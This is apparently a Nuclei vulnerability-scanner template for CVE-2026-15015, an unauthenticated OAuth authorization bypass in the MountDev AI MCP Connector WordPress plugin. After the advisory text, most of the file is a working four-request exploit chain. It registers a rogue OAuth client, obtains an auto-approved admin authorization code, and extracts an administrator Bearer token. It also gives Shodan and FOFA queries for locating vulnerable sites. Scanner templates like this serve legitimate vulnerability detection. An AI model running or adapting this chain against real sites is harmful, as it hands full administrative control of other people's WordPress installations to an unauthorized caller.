Copy
id: CVE-2026-15015
info:
name: MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure
author: DhiyaneshDk
severity: critical
description: |
MountDev AI MCP Connector for WordPress (mountdev-ai-mcp-connector) <= 1.6.1 is vulnerable to unauthenticated authorization bypass (CWE-862) via its OAuth 2.0 implementation. The plugin exposes a publicly accessible Dynamic Client Registration endpoint (/mcp-register) at WordPress init-level that allows any unauthenticated caller to register arbitrary OAuth clients. The subsequent authorization endpoint (/wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize) then auto-approves the OAuth flow using the first WordPress administrator account found via get_users({role: administrator, number: 1}), issuing an admin-bound authorization code without checking who is making the request. Exchanging this code at /mcp-token yields a full Bearer token granting administrator-equivalent access to the MCP tool surface and all exposed WordPress content, users, options, and settings.
impact: |
Unauthenticated remote attackers can obtain Bearer tokens bound to a WordPress administrator account, granting complete administrative control via the MCP interface including read/write access to all posts, pages, users, plugins, themes, site settings, and database options.
remediation: |
Update the MountDev AI MCP Connector plugin to version 1.6.2 or later, which adds proper authorization checks to the Dynamic Client Registration and authorization endpoints.
reference:
- https://github.com/les-k/wp-secure-mcp
- https://plugins.trac.wordpress.org/browser/mountdev-ai-mcp-connector/tags/1.6.0/includes/class-oauth-controller.php#L370
- https://nvd.nist.gov/vuln/detail/CVE-2026-15015
- https://www.rapid7.com/db/vulnerabilities/cve-2026-15015/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-15015
epss-score: 0.02647
epss-percentile: 0.85711
cwe-id: CWE-862
metadata:
verified: true
max-request: 4
vendor: developer-developer-developer
product: mountdev-ai-mcp-connector
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/mountdev-ai-mcp-connector/"
fofa-query: body="/wp-content/plugins/mountdev-ai-mcp-connector/"
publicwww-query: "/wp-content/plugins/mountdev-ai-mcp-connector/"
tags: cve,cve2026,wordpress,wp-plugin,authorization-bypass,oauth,token-exposure,vkev
variables:
client_name: "{{randstr}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /wp-content/plugins/mountdev-ai-mcp-connector/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "MCP Connector")'
- 'compare_versions(plugin_version, "<= 1.6.1")'
condition: and
extractors:
- type: regex
name: plugin_version
part: body
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)"
internal: true
- raw:
- |
POST /mcp-register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"redirect_uris":["{{RootURL}}"],"client_name":"{{client_name}}","token_endpoint_auth_method":"client_secret_post"}
matchers:
- type: dsl
dsl:
- 'contains(body, "client_id") && contains(body, "client_secret")'
- 'status_code == 201'
condition: and
internal: true
extractors:
- type: regex
name: client_id
part: body
group: 1
regex:
- '"client_id"\s*:\s*"([^"]+)"'
internal: true
- type: regex
name: client_secret
part: body
group: 1
regex:
- '"client_secret"\s*:\s*"([^"]+)"'
internal: true
- raw:
- |
GET /wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize?client_id={{client_id}}&redirect_uri={{RootURL}}&response_type=code&scope=mcp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(header, "code=")'
- 'status_code == 302'
condition: and
internal: true
extractors:
- type: regex
name: auth_code
part: header
group: 1
regex:
- "code=([a-zA-Z0-9]+)"
internal: true
- raw:
- |
POST /mcp-token HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code={{auth_code}}&client_id={{client_id}}&client_secret={{client_secret}}
matchers:
- type: dsl
dsl:
- 'contains(body, "access_token") && contains(body, "Bearer")'
- 'contains(header, "application/json")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: access_token
part: body
group: 1
regex:
- '"access_token"\s*:\s*"([^"]+)"'
# digest: 4a0a0047304502205e991da4be6fd8ef9abf984f0b7c5afb67439ad8d85c66e2ecf9ab8021e2463a022100e203b02d6e0c94da3f3cf9579173d86247d54554a4f77454ac81adde281e42b1:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.